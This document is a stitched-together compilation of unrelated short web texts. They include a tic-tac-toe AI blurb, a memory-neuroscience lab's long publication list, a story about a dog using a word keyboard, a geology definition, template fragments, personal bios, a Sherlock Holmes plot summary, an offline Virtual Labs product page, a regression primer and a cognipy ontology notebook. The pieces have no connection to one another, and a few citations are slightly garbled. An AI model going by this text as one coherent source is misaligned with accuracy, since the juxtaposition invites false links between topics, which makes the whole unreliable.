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This is an AI game of Tic Tac Toe using the minimax algorithm with alpha-beta pruning to reduce the runtime of the algorithm. If you are interested please visit the code to see the behavior between minimax wth and without alpha-beta pruning. Please start a new match by clicking a cell on the board.


SUA Banquet 2012 from Syracuse University Ambulance on Vimeo.
Created by Jaime Bernstein, Steph Kranz, Lexi Kivari, Molly Westbrook & Matt Smith Special thanks to Will O'Donnell, Kathryn Dewar and Paul Smyth


This Events Happens Under These Conditions:
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Publications
Click for link or pdf download.
2020
Josselyn, Sheena A, Tonegawa, Susumu. Memory engrams: Recalling the past and imagining the future. Science, 367.
2019
Hasegawa, Shunsuke et al. Hippocampal clock regulates memory retrieval via Dopamine and PKA-induced GluA1 phosphorylation. Nat Commun, 10, 1, 5766.
Park, Albert et al. A time-dependent role for the transcription factor CREB in neuronal allocation to an engram underlying a fear memory revealed using a novel in vivo optogenetic tool to modulate CREB function. Neuropsychopharmacology.
Steadman, Patrick E et al. Disruption of Oligodendrogenesis Impairs Memory Consolidation in Adult Mice. Neuron.
Frankland, Paul W et al. The neurobiological foundation of memory retrieval. Nat. Neurosci., 22, 10, 1576-1585.
Tran, Lina M et al. Forgetting at biologically realistic levels of neurogenesis in a large-scale hippocampal model. Behav. Brain Res., 376.
Clayton, David F et al. The role of the genome in experience-dependent plasticity: Extending the analogy of the genomic action potential. Proc. Natl. Acad. Sci. U.S.A..
Vetere, Gisella et al. Memory formation in the absence of experience. Nat. Neurosci..
Walters, Brandon J, Josselyn, Sheena A. Retinoic acid receptor plays both sides of homeostatic plasticity. Proc. Natl. Acad. Sci. U.S.A., 116, 14, 6528-6530.
Cuartero, María Isabel et al. Abolition of aberrant neurogenesis ameliorates cognitive impairment after stroke in mice. J. Clin. Invest..
2018
Morena, Maria et al. Upregulation of Anandamide Hydrolysis in the Basolateral Complex of Amygdala Reduces Fear Memory Expression and Indices of Stress and Anxiety. J. Neurosci..
Carr, Matthew J et al. Mesenchymal Precursor Cells in Adult Nerves Contribute to Mammalian Tissue Repair and Regeneration. Cell Stem Cell.
Rao-Ruiz, Priyanka et al. Neuronal competition: microcircuit mechanisms define the sparsity of the engram. Curr. Opin. Neurobiol., 54.
Josselyn, Sheena A. The past, present and future of light-gated ion channels and optogenetics. Elife, 7.
Josselyn, Sheena A, Frankland, Paul W. Fear Extinction Requires Reward. Cell, 175, 3, 639-640.
Ramsaran, Adam I et al. The ontogeny of memory persistence and specificity. Dev Cogn Neurosci.
Xia, Frances, Frankland, Paul W. Cognitive Neuroscience: Exciting Developments in Schematic Learning. Curr. Biol., 28, 18, R1096-R1098.
Syal, Charvi et al. Ectopic expression of aPKC-mediated phosphorylation in p300 modulates hippocampal neurogenesis, CREB binding and fear memory differently with age. Sci Rep, 8, 1, 13489.
Sekeres, Melanie J et al. Impaired recent, but preserved remote, autobiographical memory in pediatric brain tumor patients. J. Neurosci..
Guskjolen, Axel et al. Recovery of 'Lost' Infant Memories in Mice. Curr. Biol., 28, 14, 2283-2290.e3.
Kramer, Emily E et al. Assessing Individual Neuronal Activity Across the Intact Brain: Using Hybridization Chain Reaction (HCR) to Detect Arc mRNA Localized to the Nucleus in Volumes of Cleared Brain Tissue. Curr Protoc Neurosci, 84, 1, e49.
Jacob, Alexander D et al. A Compact Head-Mounted Endoscope for In Vivo Calcium Imaging in Freely Behaving Mice. Curr Protoc Neurosci, 84, 1, e51.
Frankland, Paul W, Josselyn, Sheena A. Facing your fears. Science, 360, 6394, 1186-1187.
Miller, Adam M P et al. Memory: Ironing Out a Wrinkle in Time. Curr. Biol., 28, 10, R599-R601.
Josselyn, Sheena A, Frankland, Paul W. Memory Allocation: Mechanisms and Function. Annu. Rev. Neurosci., 41.
Kempermann, Gerd et al. Human Adult Neurogenesis: Evidence and Remaining Questions. Cell Stem Cell, 23, 1, 25-30.
Gao, Aijing et al. Elevation of Hippocampal Neurogenesis Induces a Temporally Graded Pattern of Forgetting of Contextual Fear Memories. J. Neurosci., 38, 13, 3190-3198.
2017
Xia, Frances et al. Parvalbumin-positive interneurons mediate neocortical-hippocampal interactions that are necessary for memory consolidation. Elife, 6.
Kenney, Justin W et al. Contextual fear conditioning in zebrafish. Learn. Mem., 24, 10, 516-523.
Richards, Blake A, Frankland, Paul W. The Persistence and Transience of Memory. Neuron, 94, 6, 1071-1084.
Xia, Frances et al. Entorhinal Cortical Deep Brain Stimulation Rescues Memory Deficits in Both Young and Old Mice Genetically Engineered to Model Alzheimer's Disease. Neuropsychopharmacology, 42, 13, 2493-2503.
Snyder, Jason S et al. Running promotes spatial bias independently of adult neurogenesis. Hippocampus, 27, 8, 871-882.
Josselyn, Sheena A et al. Heroes of the Engram. J. Neurosci., 37, 18, 4647-4657.
Vetere, Gisella et al. Chemogenetic Interrogation of a Brain-wide Fear Memory Network in Mice. Neuron, 94, 2, 363-374.e4.
Tanimizu, Toshiyuki et al. Functional Connectivity of Multiple Brain Regions Required for the Consolidation of Social Recognition Memory. J. Neurosci., 37, 15, 4103-4116.
Walters, Brandon J et al. The Role of The RNA Demethylase FTO (Fat Mass and Obesity-Associated) and mRNA Methylation in Hippocampal Memory Formation. Neuropsychopharmacology, 42, 7, 1502-1510.
2016
Guskjolen, Axel et al. Age-dependent changes in spatial memory retention and flexibility in mice. Neurobiol Learn Mem, 143.
Santoro, Adam et al. Memory Transformation Enhances Reinforcement Learning in Dynamic Environments. J. Neurosci., 36, 48, 12228-12242.
Walters, Brandon J et al. Advanced In vivo Use of CRISPR/Cas9 and Anti-sense DNA Inhibition for Gene Manipulation in the Brain. Front Genet, 6.
Yang, Guang et al. A Glo1-Methylglyoxal Pathway that Is Perturbed in Maternal Diabetes Regulates Embryonic and Adult Neural Stem Cell Pools in Murine Offspring. Cell Rep, 17, 4, 1022-1036.
Ishikawa, Rie et al. Hippocampal neurogenesis enhancers promote forgetting of remote fear memory after hippocampal reactivation by retrieval. Elife, 5.
Epp, Jonathan R, Frankland, Paul W. Re-engineering the Hippocampus. Neuron, 91, 6, 1190-1191.
Gouveia, Ayden et al. The aPKC-CBP Pathway Regulates Adult Hippocampal Neurogenesis in an Age-Dependent Manner. Stem Cell Reports, 7, 4, 719-734.
Rashid, Asim J et al. Competition between engrams influences fear memory formation and recall. Science, 353, 6297, 383-7.
Morrison, Dano J et al. Parvalbumin interneurons constrain the size of the lateral amygdala engram. Neurobiol Learn Mem, 135.
Frankland, Paul W, Josselyn, Sheena A Neuroscience: In search of the memory molecule. Nature, 535, 7610, 41-2.
Park, Sungmo et al. Neuronal Allocation to a Hippocampal Engram. Neuropsychopharmacology, 41, 13, 2987-2993.
Ramsaran and Frankland The young and the promiscuous. Neuron, 90, 6-8. (PDF)
Epp et al. Neurogenesis-mediated forgetting minimizes proactive interference. Nature Communications, 7:10838. (PDF)
Chakravarty et al. Deep brain stimulation of the ventromedial prefrontal cortex causes reorganization of neuronal processes and vasculature. Neuroimage, 125, 422-427. (PDF)
Frankland and Josselyn Hippocampal neurogenesis and memory clearance. Neuropsychoparmacology, 41, 382-383. (PDF)
2015
Ali, Ahmed M et al. Optogenetic Inhibitor of the Transcription Factor CREB. Chem. Biol., 22, 11, 1531-1539.
Ehrlich, D E, Josselyn, S A. Plasticity-related genes in brain development and amygdala-dependent learning. Genes Brain Behav., 15, 1, 125-43.
Adamantidis, Antoine et al. Optogenetics: 10 years after ChR2 in neurons--views from the community. Nat. Neurosci., 18, 9, 1202-12.
Wong, Albert H C, Josselyn, Sheena A. Caution When Diagnosing Your Mouse With Schizophrenia: The Use and Misuse of Model Animals for Understanding Psychiatric Disorders. Biol. Psychiatry, 79, 1, 32-8.
Berndt et al. Channelrhodopsin pore engineering: second-generation chloride channels and the structural determinants of ion flux. PNAS, in press. (PDF)
Scholz et al. Rotarod training in mice is associated with changes in brain structure observable with multimodal MRI. Neuroimage, 107, 182-189. (PDF)
Epp et al. Optimization of CLARITY for clearing whole brain and other intact organs. eNeuro, 2(3) e0022-15.2015 1–15. (PDF)
Josselyn et al. Finding the engram. Nature Reviews Neuroscience, 16, 521-534. (PDF)
Restivo et al. Development of adult-generated cell connectivity with excitatory and inhibitory cell populations in the hippocampus. Journal of Neuroscience, 35, 10600-12 (PDF)
Vousden et al. Mechanism, function, and computation in neural systems. Behavioural Processes, 117, 4-11. (PDF)
2014
Josselyn and Frankland A new twist in the histone memory code. Cell Research, 25, 151-152. (PDF)
Allemang-Grand, R et al. Altered brain development in an early-onset murine model of Alzheimer's disease. Neurobiol. Aging, 36, 2, 638-47.
Vieira, Philip A et al. Prefrontal consolidation supports the attainment of fear memory accuracy. Learn. Mem., 21, 8, 394-405.
Insel and Frankland Mechanism, function, and computation in neural systems. Behavioural Processes, 117, 4-11. (PDF)
Turnbull et al. PTG depletion rescues malin-deficient Lafora disease in mouse. Annals of Neurology, 75, 442-6. (PDF)
Arruda-Carvalho et al.14b). Post-training ablation of adult-generated olfactory granule cells degrades odor-reward memories. Journal of Neuroscience, 34, 15793-803. (PDF)
Santoro and Frankland Chasing the trace. Neuron, 84, 243-245. (PDF)
Hsiang et al. Manipulating a cocaine memory trace in mice. Journal of Neuroscience, 34,14115-27. (PDF)
Arruda-Carvalho et al. Conditional deletion of α-CaMKII impairs integration of adult-generated granule cells into dentate gyrus circuits and hippocampus-dependent learning. Journal of Neuroscience, 34, 11919-28. (PDF)
Yiu, Mercaldo et al. Neurons are recruited to a memory trace based on relative neuronal excitability at the time of training. Neuron, 83, 722-35. (PDF)
Richards et al. Patterns across multiple memories are identified over time. Nature Neuroscience, 17, 981-6. (PDF)
Akers, Martinez-Canabal, Restivo et al. Hippocampal neurogenesis regulates forgetting during adulthood and infancy. Science, 344, 598-602. (PDF)
2013
Sargin et al. Disrupting Jagged1-Notch signaling impairs spatial memory formation in adult mice. Neurobiology of Learning and Memory, 103, 39-49. (PDF)
Sargin et al. CREB regulates spine density of lateral amygdala neurons: implications for memory allocation. Frontiers in Behavioral Neuroscience, 7, 209. (PDF)
Turnbull et al. Deficiency of a Glycogen Synthase-associated Protein, Epm2aip1, Causes Decreased Glycogen Synthesis and Hepatic Insulin Resistance. Journal of Biological Chemistry, 288(48), 34627-37. (PDF)
Rashid, A J et al. Emerging roles for MEF2 transcription factors in memory. Genes Brain Behav., 13, 1, 118-25.
Wasserman, David I et al. Cholinergic control of morphine-induced locomotion in rostromedial tegmental nucleus versus ventral tegmental area sites. Eur. J. Neurosci., 38, 5, 2774-85.
Sengar, Ameet S et al. Vertebrate intersectin1 is repurposed to facilitate cortical midline connectivity and higher order cognition. J. Neurosci., 33, 9, 4055-65.
Pederson et al. Inhibiting glycogen synthesis prevents lafora disease in a mouse model. Annals of Neurology, 74, 297-300. (PDF)
Frankland et al. Hippocampal neurogenesis and forgetting. Trends in Neuroscience, 36, 497-503. (PDF)
Josselyn and Frankland. mTORC2: actin on your memory. Nature Neuroscience, 16, 379-380. (PDF)
Frankland. Neurogenic evangelism. Behavioral Neuroscience, 127, 126-129. (PDF)
Richards and Frankland. The conjunctive trace. Hippocampus, 23, 207-212. (PDF)
Wheeler et al. Adolescent cocaine exposure causes enduring macroscale changes in brain structure. Journal of Neuroscience, 33, 1797-1803. (PDF)
Wheeler et al. Identification of a functional connectome for long-term fear memory in mice. PLoS Computational Biology, 9(1): e1002853 (PDF)
Frankland and Josselyn. Memory and the single molecule. Nature, 493, 312-3 (PDF)
Martinez-Canabal et al. Chronic over-expression of TGFβ1 alters hippocampal structure and causes spatial learning deficits. Hippocampus, 23, 1198-1211. (PDF)
Cancino et al. p63 regulates adult neural precursor and newly-born neuron survival to control hippocampal-dependent behavior. Journal of Neuroscience, 33, 12569-85. (PDF)
Martinez-Canabal et al. Age-dependent effects of hippocampal neurogenesis suppression on spatial learning. Hippocampus, 23, 66-74. (PDF)
Kim, Jieun et al. Memory recall and modifications by activating neurons with elevated CREB. Nat. Neurosci., 17, 1, 65-72.
Cowansage, Kiriana K et al. Basal variability in CREB phosphorylation predicts trait-like differences in amygdala-dependent memory. Proc. Natl. Acad. Sci. U.S.A., 110, 41, 16645-50.
2012
Sekeres et al. Increasing CRTC1 function in the dentate gyrus during memory formation or reactivation increases memory strength without compromising memory quality. Journal of Neuroscience, 32, 17857-17868. (PDF)
Niibori et al. Suppression of adult neurogenesis impairs population coding of similar contexts in the hippocampal CA3 region. Nature Communications, 3, 1253. (PDF)
Akers et al. The ontogeny of fear memory formation, specificity and persistence in mice. Learning and Memory, 19, 598-604. (PDF)
Gu et al. Optical controlling reveals time-dependent roles for adult-born dentate granule cells. Nature Neuroscience, 15, 1700-6. (PDF)
Salih, Dervis A M et al. FoxO6 regulates memory consolidation and synaptic function. Genes Dev., 26, 24, 2780-801.
Mansouri, Alireza et al. Cerebellar abnormalities in purine nucleoside phosphorylase deficient mice. Neurobiol. Dis., 47, 2, 201-9.
Josselyn and Frankland. Infantile amnesia: A neurogenic hypothesis. Learning and Memory, 19, 423-433. (PDF)
Cole et al. MEF2 negatively regulates learning-induced structural plasticity and memory formation. Nature Neuroscience, 15, 1255-64. (PDF)
Wang et al. Metformin activates atypical PKCs to promote rodent and human neurogenesis and enhances hippocampus-dependent learning. Cell Stem Cell, 11, 23-35. (PDF)
Girard et al. Phosphorylation Prevents Polyglucosan Transport: Implications on Lafora Disease. Neurology, 79, 100-102. (PDF)
2011
Arruda-Carvalho et al. Posttraining ablation of adult-generated neurons degrades previously acquired memories. (PDF)
Stone et al. Stimulation of entorhinal cortex promotes adult neurogenesis and facilitates spatial memory. (PDF)
Sakaguchi et al. Impaired spatial and contextual memory formation in galectin-1 deficient mice. (PDF)
Leslie et al. Impact of early adverse experience on complexity of adult-generated neurons. (PDF)
Akers et al. Fetal alcohol exposure leads to abnormal olfactory bulb development and impaired odor discrimination in adult mice. (PDF)
Vetere et al. Spine growth in the anterior cingulate cortex is necessary for the consolidation of contextual fear memory. (PDF)
Lerch et al. Maze training in mice induces MRI-detectable brain shape changes specific to the type of learning. (PDF)
Stone et al. Functional convergence of developmentally and adult-generated granule cells in dentate gyrus circuits supporting hippocampus-dependent memory. (PDF)
2010
Sekeres et al. Dorsal hippocampal CREB is both necessary and sufficient for spatial memory.
Akers et al. Functional Contribution of Adult-Generated Olfactory Bulb Interneurons: Odor Discrimination versus Odor Memory. (PDF)
Restivo and Frankland Shifting to automatic (PDF)
Bae, James J et al. Increased transforming growth factor-β1 modulates glutamate receptor expression in the hippocampus. Int J Physiol Pathophysiol Pharmacol, 3, 1, 9-20.
Josselyn, Sheena A. Continuing the search for the engram: examining the mechanism of fear memories. J Psychiatry Neurosci, 35, 4, 221-8.
2009
Nai, Qiang et al. Uncoupling the D1-N-methyl-D-aspartate (NMDA) receptor complex promotes NMDA-dependent long-term potentiation and working memory. Biol. Psychiatry, 67, 3, 246-54.
Maei et al. Development and validation of a sensitive entropy-based measure for the water maze. (PDF)
Winocur et al. Manipulating context-specificity in a memory reconsolidation paradigm: Selective effects of hippocampal lesions. (PDF)
Akers et al. Gradients graded: Evidence for time-dependent memory reorganization in experimental animals. (PDF)
Han et al. Selective erasure of a fear memory. (PDF)
Maei et al. What is the most sensitive measure of water maze probe test performance? (PDF)
Wang et al. The precision of remote contextual memories does not require the hippocampus. (PDF)
Mamiya et al. Brain region-specific gene expression activation required for reconsolidation and extinction of contextual fear memory. (PDF)
2008
Liu et al. Treatment of inflammatory and neuropathic pain by uncoupling Src from the NMDA receptor complex.
Frankland and Miller Regenerating your senses: multiple roles for neurogenesis in the adult brain. (PDF)
Wetzel et al. p73 haploinsufficiency causes age-related neurodegeneration and aberrant tau filament formation. (PDF)
Frankland et al. Starting at the endophenotype: A role for α-CaMKII in schizophrenia? (PDF)
Frankland and Nader From eIF2alpha to Ebbinghaus. (PDF)
Suzuki et al. Activation of LVGCCs and CB1 receptors required for destabilization of reactivated contextual fear memories. (PDF)
Ding et al. Inactivation of the anterior cingulate cortex blocks expression of remote, but not recent, conditioned taste aversion memory. (PDF)
2007
Frankland et al. Grading the gradient: Evidence for time-dependent memory reorganization in experimental animals. (PDF)
Kee, Teixeira, Wang et al. Imaging activation of adult-generated granule cells in spatial memory. (PDF)
Kee, Teixeira et al. Preferential incorporation of adult-generated granule cells into spatial memory networks in the dentate gyrus. (PDF)
2006
Frankland et al. Stability of recent and remote contextual fear memory. (PDF)
Teixeira et al. Involvement of the anterior cingulate cortex in the expression of remote spatial memory. (PDF)
Frankland and Bontempi. Fast track to the medial prefrontal cortex. (PDF)
2005
Li et al. The HMG-CoA reductase inhibitor, lovastatin, reverses the learning and attention deficits in a mouse model of Neurofibromatosis Type 1. (PDF)
Josselyn, Sheena A et al. The nucleus accumbens is not critically involved in mediating the effects of a safety signal on behavior. Neuropsychopharmacology, 30, 1, 17-26.
Tohmi et al. Distinct influences of neonatal epidermal growth factor challenge on adult neurobehavioral traits in four mouse strains. (PDF)
Frankland and Bontempi. The organization of recent and remote memory. (PDF)
Frankland and Teixeira. A pain in the ACC. (PDF)
2004
Suzuki et al. Memory reconsolidation and extinction have distinct temporal and biochemical signatures. (PDF)
Frankland et al. Consolidation of CS and US representations in associative fear conditioning. (PDF)
Frankland et al. Sensorimotor-gating abnormalities in young males with fragile X syndrome and Fmr1-knockout mice.
Frankland, Bontempi et al. The involvement of the anterior cingulate cortex in remote contextual fear memory. (PDF)
Josselyn, S A et al. Inducible repression of CREB function disrupts amygdala-dependent memory. Neurobiol Learn Mem, 82, 2, 159-63.
2003
Bozon, Bruno et al. MAPK, CREB and zif268 are all required for the consolidation of recognition memory. Philos. Trans. R. Soc. Lond., B, Biol. Sci., 358, 1432, 805-14.
2002
Silva, Alcino J, Josselyn, Sheena A. The molecules of forgetfulness. Nature, 418, 6901, 929-30.


Smart Dog Learns to ‘Talk’ With Special Device
A resident of San Diego taught her dog about thirty words with the help of a specially-designed keyboard and now the dog can compose entire sentences.
Speech therapist Christina Hunger from San Diego, California seems to have realised the dream of many dog owners by teaching her dog Stella how to talk.
To "establish a dialogue" with her, petHunger designed a special device, akin to a keyboard, to help Stella communicate.
When Stella wants to "speak", she presses the buttons corresponding to the words stored in the device.


Inflection Point
The inflection point of a fold is the point in a fold profile in which the curvature changes it's direction (s. Fig.).
Red point = Inflection Point


Let var be a string.
Reverse var and return the result.
Here’s a, a single char.
Here’s ab, two chars.
Here’s abc, three chars.
Here’s some grammar: foo | bar | baz | qux
Here’s some more: foo || bar || baz || qux
Here’s foo bar, multi word.
Here’s foo-bar, dashed.
Here’s a "real" foo bar.
Here’s one with a linebreak: foo bar with a linebreak.
This one has no linebreak: foo bar with a linebreak. This shouldn’t generate a warning.


Todos
Notes:
- the "Priority" input is only enabled for the "Work" category
- the "Text" input only updates the state value on "blur" which means there is a delay in updating the validation status as well
{{item.category}}
{{item.text}}
{{item.meta.priority > 0 ? item.meta.priority : ''}}
{{formatDate(item.meta.duedate)}}
{{formState$ | async | json}}


abstract class Point : SgfType
Supertype for SGF Point types. Abstract, as these are game-specific.
SGF Point
Point()


Magister Gauen:
There are many different types of spores, all with unique and often dangerous characteristics. Are you sure you want to do this?
"I'll do it."


My name is Lorin Shamos and I’m a web developer working in the languages and frameworks of HTML, CSS, JavaScript, JQuery, Ruby on Rails, Node.js, and React, as well I’ve built some really cool apps. Before I was a developer I ran my own fitness business, which led me to create my first app, which led me down the coding rabbit hole to becoming a developer. Currently I am working on Workout Buddy, a React app for weightlifters to log and track their progress.


An introduction to our expedition.
Arthur Cadogan West was found dead, head crushed in on train tracks at Aldgate Station at 6AM Tuesday morning. West worked at Woolwich Arsenal on the Bruce-Partington submarine, a secret military project. Plans for the submarine had been stolen and seven of the ten missing papers were found in West's possession. Mycroft implores Sherlock to take the case and recover the three missing papers.
Holmes and Watson's investigations take them across London. Sherlock deduces that West was murdered elsewhere, then moved to Aldgate Station to create the illusion that he was crushed on the tracks by a train. On their way to Woolwich Sherlock dispatches a telegram to Mycroft at London Bridge: "Send list of all foreign spies known to be in England, with full address."
While investigating at Woolwich Arsenal Sherlock learns that West did not have the three keys—door, office, and safe—necessary to steal the papers. The train station clerk mentions seeing an agitated West boarding the 8:15 train to London Bridge. Sherlock suspects West of following someone who had access to the Woolwich chief's keyring with all three keys.
Mycroft responds to Sherlock's telegram and mentions several spies. Hugo Oberstein of 13 Caulfield Gardens catches Sherlock's eye. He heads to the nearby Gloucester Road station to investigate and learns that the windows of Caulfield Gardens open over rail tracks where trains stop frequently.
Holmes deduces that the murderer placed West atop a stopped train at Caulfield Gardens. The train traveled to Aldgate Station before West's body finally toppled off. Backtracking to the criminal's apartment, Holmes finds a series of classified ads from The Daily Telegraph stashed away. All are under the name Pierrot: "Monday night after nine. Two taps. Only ourselves. Do not be so suspicious. Payment in hard cash when goods delivered."
Holmes and Watson head to The Daily Telegraph and place an ad to draw out the criminal. It reads: "To-night. Same hour. Same place. Two taps. Most vitally important. Your own safety at stake. Pierrot." The trap works and Holmes catches the criminal: Colonel Valentine Walter, the brother of Woolwich Arsenal's chief. He confesses to working for Hugo Oberstein to obtain the submarine plans in order to pay off his debts.
Walter writes to Oberstein and convinces him to meet in the smoking room of the Charing Cross Hotel where he promises additional plans for the submarine in exchange for money. The plan works and Holmes and Watson catch both criminals.
Adapted from Project Gutenberg


Virtual Labs College Cloud Edition
Overview and Motivation
Virtual Labs College Cloud Edition is the Portable-Edition for Virtual Labs. It offers the offline version of Virtual labs, experiments and theoretical content. This edition addresses the lack of internet access or poor internet connectivity across different institutes/colleges. It results in a very cost-effective Learning Management System.
Virtual Labs College Cloud Edition currently has about 75 labs (700+ experiments) across multiple disciplines. It aims at providing remote access to labs for Science and Engineering students. Simulation based experimentation would now be possible without the internet facility. This initiative would make the labs developed by top technical institutes accessible to every college.
Expression of Interest
To obtain Virtual Labs College Cloud Edition or have a workshop conducted, institutes/colleges should fill the Expression of Interest form. Further communications would happen through email.
Requirements
System Configuration (recommended)
- Processor : Intel(R) Core(TM) i7-3770 , CPU with 3.40GHz (Model : intel-db75en)
- RAM : 16 GB
- SMPS : 600 W
- CPUs: 8
- MotherBoard wattage: 77 W
- 500 GB SATA
- WiFi Router : WiFi router which could serve 30-80 users
- Computer Lab with at least 30-80 Systems/Desktops
- Network Input ( Network Switch , from where all the labs would obtain DHCP IP) to Computer Lab machines/Desktops.
This would make College Cloud accessible over the LAN network providing better results - System Administrator with basic knowledge of CentOS operating systems and networking
Deployment
Virtual Labs College Cloud Edition could be deployed by following the steps described in the installation manual.
Contract
1. For the above given System Configuration, one could work with 3-5 labs at a
time catering 20-30 users.
2. Virtual Labs College Cloud server would not be connected to the internet
while labs are being accessed over the College Cloud.
3. College Cloud server should be connected to the internet on a regular basis
to facilitate log collection.
4. Videos of the labs would not be accessible from the College Cloud Edition.
Support
Get help with Virtual Labs College Cloud Edition by sending a mail to<EMAIL_ADDRESS>or posting on the IRC channel using #VLEAD.
Terms and Conditions
1. There is no financial liability on any party for using Virtual Labs College
Cloud Edition. It is free to use.
2. The Institute/College cannot charge students for the use of Virtual Labs College Cloud Edition.
3. The institute/college must nominate a single point of contact for all logistical and technical coordination between the institute and Virtual
Labs.


Recipient Some Companyc/o Some Guy Invoice # 101138 Date January 1, 2012 Amount Due $600.00 Purchase Item Unique Code Selling Price Quantity Total {{invoice.item}} {{ invoice.strUniqueCode }} {{ invoice.strSalingRate }} {{ invoice.quantity }} {{ invoice.total }} @* Item Description Rate Quantity Price -Front End Consultation Experience Review $150.00 4 $600.00 *@ @*+*@ Total $600.00 Amount Paid $0.00 Balance Due $600.00


Little About me
AICTE accredited Anna University regional campus, Coimbatore graduate seeking a beginner role to enhance and explore my knowledge. Excellent interpersonal skills with the ability to interact with management, staff and clients at all levels with Good communication skills and have ability to coordinate with team members.Proficiency in Web Development


Simple linear regression
Regression analysis is a statistical procedure for estimating or explaining the relationships among variables, and to utilizes these relations so that a response variable can be predicted from other variable(s). A few notional examples are
- Predict sales of product by estimating the relationship between sales and amount of advertise expenses.
- Predict size of vocabulary of a child by estimating the relationship between size of vocabulary, age of child and education level of parents.
- Predict time of travel by estimating the relationship between time of travel, distance of travel, mode of travel, traffic/road conditions, …, choice of music on the radio.
Suppose that we are asked to recommend a marketing plan for next year based on this sales & advertising data. Several questions can then be posed
- Is there a relationship between advertising budget and sales ? If there is a relationship, how strong is the relationship ?
- Which media contributes to sales ? How strong is the contribution ?
- How accurately can we estimate the effect of each medium on sales ? How accurate can we predict future sales from the effect of the medium on sales ?
- Is the relationship between advertising budget and sales linear ?
- Is there synergies or interactions among the different medias as related to sales ?


We all go back to freshmen year, when we all enrolled in the Computer Science Program.We all knew each other, but it wasn't until Junior Year that we all got closer.It was AP Computer Science that really brought us to our fullest extent.
After we were done with Junior Year, our teacher wanted us to create products that could help future generations. We all pitched in our ideas, but the idea that stood out the most was Tristen's. His idea was based on helping artists to get their work exposed.
After we had heard his idea, all of us came together and agreed to work as a team and we are known today as Artivational Studios. Our mission is to bring more opportunities out there for people in the Art Industry and we hope our future innovations will expose all artists out there.


[1]:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
[1]:
from cognipy.ontology import Ontology #the ontology processing class
from cognipy.ontology import CQL #SPARQL format tailored for Contolled Natural Language
from cognipy.ontology import encode_string_for_graph_label #complex datatypes encoder for the graph labels in graph visualisation
import textwrap
def graph_attribute_formatter(val):
if isinstance(val,list) or isinstance(val,set):
return " | ".join(list(map(lambda i:encode_string_for_graph_label(graph_attribute_formatter(i)),val)))
elif isinstance(val,dict):
return " | ".join(list(map(lambda i:i[0]+" : "+encode_string_for_graph_label(graph_attribute_formatter(i[1])),val.items())))
else:
return encode_string_for_graph_label(textwrap.fill(str(val),40))
[2]:
%%writefile RDF_example.encnl
Every classa is a superclass.
Every classb is a superclass.
Every classc is a superclass.
Every classd is a superclass.
Every classe is a superclass.
Every classf is a superclass.
Every classg is a superclass.
Every classh is a superclass.
Every classi is a superclass.
Every classa has-account-id nothing-but (some string value).
Every classb has-account-id nothing-but (some integer value).
Every classc has-account-id nothing-but (some double value).
Every classd has-account-id nothing-but (some float value).
Every classe has-account-id nothing-but (some boolean value).
Every classf has-account-id nothing-but (some duration value).
Every classg has-account-id nothing-but (some decimal value).
Every classh has-account-id nothing-but (some datetime value).
Every classi has-account-id nothing-but (some real value).
Overwriting RDF_example.encnl
[3]:
onto=Ontology("cnl/file","RDF_example.encnl",
evaluator = lambda e:eval(e,globals(),locals()),
graph_attribute_formatter = graph_attribute_formatter)
[4]:
onto.sparql_query("select ?x ?y ?z {?x ?y ?z}")
[4]:
| x | y | z | |
|---|---|---|---|
| 0 | classe | sub-class-of[rdfs] | superclass |
| 1 | classe | type[rdf] | "Class"[owl] |
| 2 | classd | sub-class-of[rdfs] | superclass |
| 3 | classd | type[rdf] | "Class"[owl] |
| 4 | "" | type[rdf] | "Ontology"[owl] |
| ... | ... | ... | ... |
| 60 | superclass | equivalent-class[owl] | superclass |
| 61 | superclass | sub-class-of[rdfs] | superclass |
| 62 | classf | sub-class-of[rdfs] | "Thing"[owl] |
| 63 | classf | equivalent-class[owl] | classf |
| 64 | classf | sub-class-of[rdfs] | classf |
65 rows × 3 columns
[5]:
onto.draw_graph()
[5]:
[6]:
print(onto.as_cnl())
old_cnl = onto.as_cnl()
Every classa is a superclass.
Every classb is a superclass.
Every classc is a superclass.
Every classd is a superclass.
Every classe is a superclass.
Every classf is a superclass.
Every classg is a superclass.
Every classh is a superclass.
Every classi is a superclass.
Every classa has-account-id nothing-but (some string value).
Every classb has-account-id nothing-but (some integer value).
Every classc has-account-id nothing-but (some double value).
Every classd has-account-id nothing-but (some float value).
Every classe has-account-id nothing-but (some boolean value).
Every classf has-account-id nothing-but (some duration value).
Every classg has-account-id nothing-but (some decimal value).
Every classh has-account-id nothing-but (some datetime value).
Every classi has-account-id nothing-but (some real value).
[7]:
outputfilename = 'cnl_RDF_example.encnl'
file = open(outputfilename,"w", encoding="utf8")
file.write(onto.as_cnl())
file.close()
[8]:
onto_cnl = Ontology("cnl/file","cnl_RDF_example.encnl")
[9]:
outputfilename = './cnl_RDF_example.rdf'
file = open(outputfilename,"w", encoding="utf8")
file.write(onto.as_rdf())
file.close()
[10]:
onto_rdf = Ontology("rdf/uri","file:///c:/ROOT/cognipy/docsrc/jupyter_notebooks/Test/cnl_RDF_example.rdf")
[11]:
onto_rdf.draw_graph()
[11]:
[12]:
print(onto_rdf.as_cnl())
new_cnl = onto_rdf.as_cnl()
Every value-of double is something (some value).
Every value-of float is something (some value).
Every classa is a superclass.
Every classb is a superclass.
Every classc is a superclass.
Every classd is a superclass.
Every classe is a superclass.
Every classf is a superclass.
Every classg is a superclass.
Every classh is a superclass.
Every classi is a superclass.
Every classa has-account-id nothing-but (some string value).
Every classb has-account-id nothing-but (some integer value).
Every classc has-account-id nothing-but (some double value).
Every classd has-account-id nothing-but (some float value).
Every classe has-account-id nothing-but (some boolean value).
Every classf has-account-id nothing-but (some string value).
Every classg has-account-id nothing-but (some integer value).
Every classh has-account-id nothing-but (some datetime value).
Every classi has-account-id nothing-but (greater-or-equal-to 0 or lower-or-equal-to 0).
[14]:
print(new_cnl)
Every value-of double is something (some value).
Every value-of float is something (some value).
Every classa is a superclass.
Every classb is a superclass.
Every classc is a superclass.
Every classd is a superclass.
Every classe is a superclass.
Every classf is a superclass.
Every classg is a superclass.
Every classh is a superclass.
Every classi is a superclass.
Every classa has-account-id nothing-but (some string value).
Every classb has-account-id nothing-but (some integer value).
Every classc has-account-id nothing-but (some double value).
Every classd has-account-id nothing-but (some float value).
Every classe has-account-id nothing-but (some boolean value).
Every classf has-account-id nothing-but (some string value).
Every classg has-account-id nothing-but (some integer value).
Every classh has-account-id nothing-but (some datetime value).
Every classi has-account-id nothing-but (greater-or-equal-to 0 or lower-or-equal-to 0).
decimal, double, float not handled?
Every value-of decimal is something (some value).
